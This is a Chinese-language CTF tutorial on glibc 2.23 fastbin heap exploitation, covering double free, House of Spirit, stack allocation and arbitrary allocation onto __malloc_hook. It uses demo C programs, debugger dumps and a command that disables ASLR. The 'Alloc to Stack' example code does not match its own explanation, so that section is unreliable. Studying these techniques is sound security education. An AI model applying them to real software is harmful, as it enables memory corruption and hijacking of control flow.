PWN系列堆利用之 Fastbin Attack – 作者:ATL安全团队

fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。这类利用的前提是:

存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞

漏洞发生于 fastbin 类型的 chunk 中

如果细分的话,可以做如下的分类:

Fastbin Double Free

House of Spirit

Alloc to Stack

Arbitrary Alloc

其中,前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后再次申请 chunk 进行攻击,后两种侧重于故意修改 fd 指针,直接利用 malloc 申请指定位置 chunk 进行攻击。

原理

测试环境:

pwndocker + glibc 2.23

fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。 我们来证明一下。

#include <stdio.h>
#include <stdlib.h>
int main(void)
{
   void *chunk1,*chunk2,*chunk3;
   chunk1=malloc(0x30);
   chunk2=malloc(0x30);
   chunk3=malloc(0x30);
   //进行释放
   free(chunk1);
   free(chunk2);
   free(chunk3);
   return 0;
}

编译:

gcc -g -no-pie -o test test.c -Wl,-rpath='/glibc/2.23/64/lib',-dynamic-linker='/glibc/2.23/64/lib/ld-2.23.so'

关闭系统地址随机化:

echo 0 > /proc/sys/kernel/randomize_va_space

malloc申请内存之后

pwndbg> x/26gx 0x405010-0x10
0x405000:0x00000000000000000x0000000000000041
0x405010:0x00000000000000000x0000000000000000
0x405020:0x00000000000000000x0000000000000000
0x405030:0x00000000000000000x0000000000000000
0x405040:0x00000000000000000x0000000000000041
0x405050:0x00000000000000000x0000000000000000
0x405060:0x00000000000000000x0000000000000000
0x405070:0x00000000000000000x0000000000000000
0x405080:0x00000000000000000x0000000000000041
0x405090:0x00000000000000000x0000000000000000
0x4050a0:0x00000000000000000x0000000000000000
0x4050b0:0x00000000000000000x0000000000000000
0x4050c0:0x00000000000000000x0000000000020f41

三次free之后

pwndbg> x/26gx 0x405010-0x10
0x405000:0x00000000000000000x0000000000000041
0x405010:0x00000000000000000x0000000000000000
0x405020:0x00000000000000000x0000000000000000
0x405030:0x00000000000000000x0000000000000000
0x405040:0x00000000000000000x0000000000000041
0x405050:0x00000000004050000x0000000000000000
0x405060:0x00000000000000000x0000000000000000
0x405070:0x00000000000000000x0000000000000000
0x405080:0x00000000000000000x0000000000000041
0x405090:0x00000000004050400x0000000000000000
0x4050a0:0x00000000000000000x0000000000000000
0x4050b0:0x00000000000000000x0000000000000000
0x4050c0:0x00000000000000000x0000000000020f41

此时位于 main_arena 中的 fastbin 链表中已经储存了指向 chunk3 的指针,并且 chunk 3、2、1 构成了一个单链表

pwndbg> fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x405080 —▸ 0x405040 —▸ 0x405000 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

Fastbin Double Free

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。

Fastbin Double Free 能够成功利用主要有两部分的原因

1.fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空

2.fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

/* Another simple check: make sure the top of the bin is not the
      record we are going to add (i.e., double free). */
  if (__builtin_expect (old == p, 0))
    {
      errstr = "double free or corruption (fasttop)";
      goto errout;
}

示例1

当我们尝试执行下列程序的时候

int main(void)
{
  void *chunk1,*chunk2,*chunk3;
  chunk1=malloc(0x10);
  chunk2=malloc(0x10);
  free(chunk1);
  free(chunk1);
  return 0;
}

我们会发现出现如下状况,这正是因为 _int_free 函数检测到了 fastbin 的 double free。

root@daily_exercise:/ctf/work/heap/fastbin-attack# ./demo1_double_free
*** Error in `./demo1_double_free': double free or corruption (fasttop): 0x0000555555559010 ***
Aborted

如果我们在 chunk1 释放后,再释放 chunk2 ,这样 main_arena 就指向 chunk2 而不是 chunk1 了,此时我们再去释放 chunk1 就不再会被检测到。

int main(void)
{
  void *chunk1,*chunk2,*chunk3;
  chunk1=malloc(0x10);
  chunk2=malloc(0x10);
  free(chunk1);
  free(chunk2);
  free(chunk1);
  return 0;
}

如下两张图,此时我们构造了这样的链表main_arena=>chunk1=>chun2=>chunk1。

1612840743_6021ff27d1c9ef8febaae.jpg!small

1612840809_6021ff694ff9738614d2f.jpg!small

那么构造这样的链表我们如何去利用呢?我们仔细回忆下整个过程,chunk1在第一次释放的时候,它的fd值是0,当它再一次被释放的时候,此时它的fd指针指向了chunk2,此时如果我们使用malloc获得chunk1,我们就可以任意修改它的fd指针指向一个 fake chunk,然后再去malloc,我们就可以获得任意读写某地址的能力。接下来用示例2验证一下我们的想法。

示例2

同前面一样,我们构造main_arena=>chunk1=>chun2=>chunk1的链表。然后我们 malloc 得到chunk1 ,修改 fd ,使其指向我们伪造的 bss_chunk。然后我们可以看到 fastbin 会把堆块分配到这里。

typedef struct _chunk
{
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
} CHUNK,*PCHUNK;
CHUNK bss_chunk;
int main(void)
{
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;
    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);
    free(chunk1);
    free(chunk2);
    free(chunk1);
    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p",chunk_b);
    return 0;
}

在执行完*(long long *)chunk_a=&bss_chunk;这句,此时的fastbins是这样。

1612840838_6021ff865f882f1773329.jpg!small

因为fastbin是后进先出的,所以我们还需要两次malloc。

值得注意的是,我们在 main 函数的第一步就进行了bss_chunk.size=0x21;的操作,这是因为_int_malloc 会对欲分配位置的 size 域进行验证,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。

小结

通过 fastbin double free 我们可以使用多个指针控制同一个堆块,这可以用于篡改一些堆块中的关键数据域或者是实现类似于类型混淆的效果。 如果更进一步修改 fd 指针,则能够实现任意地址分配堆块的效果 (首先要通过验证),这就相当于任意地址写任意值的效果。

House Of Spirit

该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址chunk 的目的。

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。

fake chunk 地址需要对齐, MALLOC_ALIGN_MASK。

fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。

fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem 。

fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

示例

直接以 how2heap 上的例子进行实验:

#include <stdio.h>
#include <stdlib.h>
int main()
{
        fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
        fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
        malloc(1);
        fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
        unsigned long long *a;
        // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
        unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));
        fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
        fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
        fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
        fake_chunks[1] = 0x40; // this is the size
        fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
        fake_chunks[9] = 0x1234; // nextsize
        fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
        fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
        a = &fake_chunks[2];
        fprintf(stderr, "Freeing the overwritten pointer.\n");
        free(a);
        fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
        fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

运行结果如下:

1612840864_6021ffa0bfa3d34e73a4e.jpg!small

小结

因此,想要使用该技术分配 chunk 到指定地址,其实并不需要修改指定地址的任何内容,关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测。

Alloc to Stack

如果你已经理解了前文所讲的 Fastbin Double Free 与 house of spirit 技术,那么理解该技术就已经不成问题了,它们的本质都在于 fastbin 链表的特性:当前 chunk 的 fd 指针指向下一个 chunk。

该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针,把 fd 指针指向我们想要分配的栈上,从而实现控制栈中的一些关键数据,比如返回地址等。

示例

我们把 fake_chunk 置于栈中称为 stack_chunk,同时劫持了 fastbin 链表中 chunk 的 fd 值,通过把这个 fd 值指向 stack_chunk 就可以实现在栈中分配 fastbin chunk。

#include <stdio.h>
#include <stdlib.h>
int main(void)
{
    void *chunk1;
    void *chunk_a;
    chunk1=malloc(0x60);
    free(chunk1);
    *(long long *)chunk1=0x7ffff7dd4af5-0x8;
    malloc(0x60);
    chunk_a=malloc(0x60);
    return 0;
}

执行完*(long long *)chunk1=&stack_chunk;这句后,我们首先把 chunk1 的 fd 指针指向了 stack_chunk。

1612840899_6021ffc36fb45ba3468de.jpg!small

第一次 malloc之后, fastbin 链表指向了 stack_chunk。

1612840919_6021ffd7e3fa2cfa2792b.jpg!small

第二次 malloc如下图,我们可以看到返回值为 0x7fffffffe520 也就是 stack_chunk。

pwndbg> i r
rax           0x7fffffffe520     140737488348448
...
pwndbg> x/6gx 0x7fffffffe520-0x10
0x7fffffffe510:0x00007fffffffe53e   0x0000000000000021
0x7fffffffe520:0x0000000000401200   0x0000000000401090
0x7fffffffe530:0x00007fffffffe620   0x120c1a90007f1900

小结

通过该技术我们可以把 fastbin chunk 分配到栈中,从而控制返回地址等关键数据。要实现这一点我们需要劫持 fastbin 中 chunk 的 fd 域,把它指到栈上,当然同时需要栈上存在有满足条件的 size 值。

Arbitrary Alloc

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的,唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域(这个 size 域是构造的,还是自然存在的都无妨),我们可以把 chunk 分配到任意的可写内存中,比如 bss、heap、data、stack 等等。

示例

在这个例子,我们使用字节错位来实现直接分配 fastbin 到_malloc_hook 的位置,相当于覆盖__malloc_hook 来控制程序流程。

#include <stdio.h>
#include <stdlib.h>
int main(void)
{
   void *chunk1;
   void *chunk_a;
   chunk1=malloc(0x60);
   free(chunk1);
   *(long long *)chunk1=0x7ffff7dd4af5-0x8;
   malloc(0x60);
   chunk_a=malloc(0x60);
   return 0;
}

这其中的0x7ffff7dd4af5值是根据__malloc_hook在glibc2.23的偏移+libc的基地址算出来的。查看libc加载的基地址是0x7ffff7a39000,这里我关闭了系统的地址随机化,不知道libc的基地址相同与这个有无关系,这里存疑?如下得到__malloc_hook的偏移:

# objdump /glibc/2.23/64/lib/libc.so.6 -D -M intel | grep __malloc_hook
...
000000000039bb10 <__malloc_hook>:

查看__malloc_hook附近:

pwndbg> x/144bx 0x7ffff7dd4b10-0x70
0x7ffff7dd4aa0 <_IO_wide_data_0+224>:   0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7ffff7dd4aa8 <_IO_wide_data_0+232>:   0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7ffff7dd4ab0 <_IO_wide_data_0+240>:   0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7ffff7dd4ab8 <_IO_wide_data_0+248>:   0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7ffff7dd4ac0 <_IO_wide_data_0+256>:   0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7ffff7dd4ac8 <_IO_wide_data_0+264>:   0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7ffff7dd4ad0 <_IO_wide_data_0+272>:   0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7ffff7dd4ad8 <_IO_wide_data_0+280>:   0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7ffff7dd4ae0 <_IO_wide_data_0+288>:   0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7ffff7dd4ae8 <_IO_wide_data_0+296>:   0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
0x7ffff7dd4af0 <_IO_wide_data_0+304>:   0x60  0x32  0xdd  0xf7  0xff  0x7f  0x00  0x00
0x7ffff7dd4af8: 0x00    0x00    0x00    0x00  0x00  0x00  0x00  0x0
0x7ffff7dd4b00 <__memalign_hook>:       0x00  0x2b  0xab  0xf7  0xff  0x7f  0x00  0x00
0x7ffff7dd4b08 <__realloc_hook>:        0xa0  0x2a  0xab  0xf7  0xff  0x7f  0x00  0x00
0x7ffff7dd4b10 <__malloc_hook>: 0x60    0x2a  0xab  0xf7  0xff  0x7f  0x00  0x0
0x7ffff7dd4b18: 0x00    0x00    0x00    0x00  0x00  0x00  0x00  0x0
0x7ffff7dd4b20 <main_arena>:    0x00    0x00  0x00  0x00  0x00  0x00  0x00  0x0
0x7ffff7dd4b28 <main_arena+8>:  0x00    0x00  0x00  0x00  0x00  0x00  0x00  0x0

观察发现 0x7ffff7dd4af5 处可以现实错位构造出一个 0x000000000000007f,因此我们选这里作为fastbin的fake chunk。然后使得第一次free的pre指针指向 0x7ffff7dd4af5 ,然后经过两次malloc(0x60)后,得到 0x7ffff7dd4afd 这块大小为0x60的空间,从而我们就可以对__malloc_hook处对内容进行修改。

小结

综上,我们了解了Arbitrary Alloc 可以利用字节错位等方法来绕过 size 域的检验,实现任意地址分配 chunk,最后的效果也就相当于任意地址写任意值。

参考

fastbin attack: https://ctf-wiki.org/pwn/linux/glibc-heap/fastbin_attack/

来源:freebuf.com 2021-02-17 13:40:05 by: ATL安全团队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论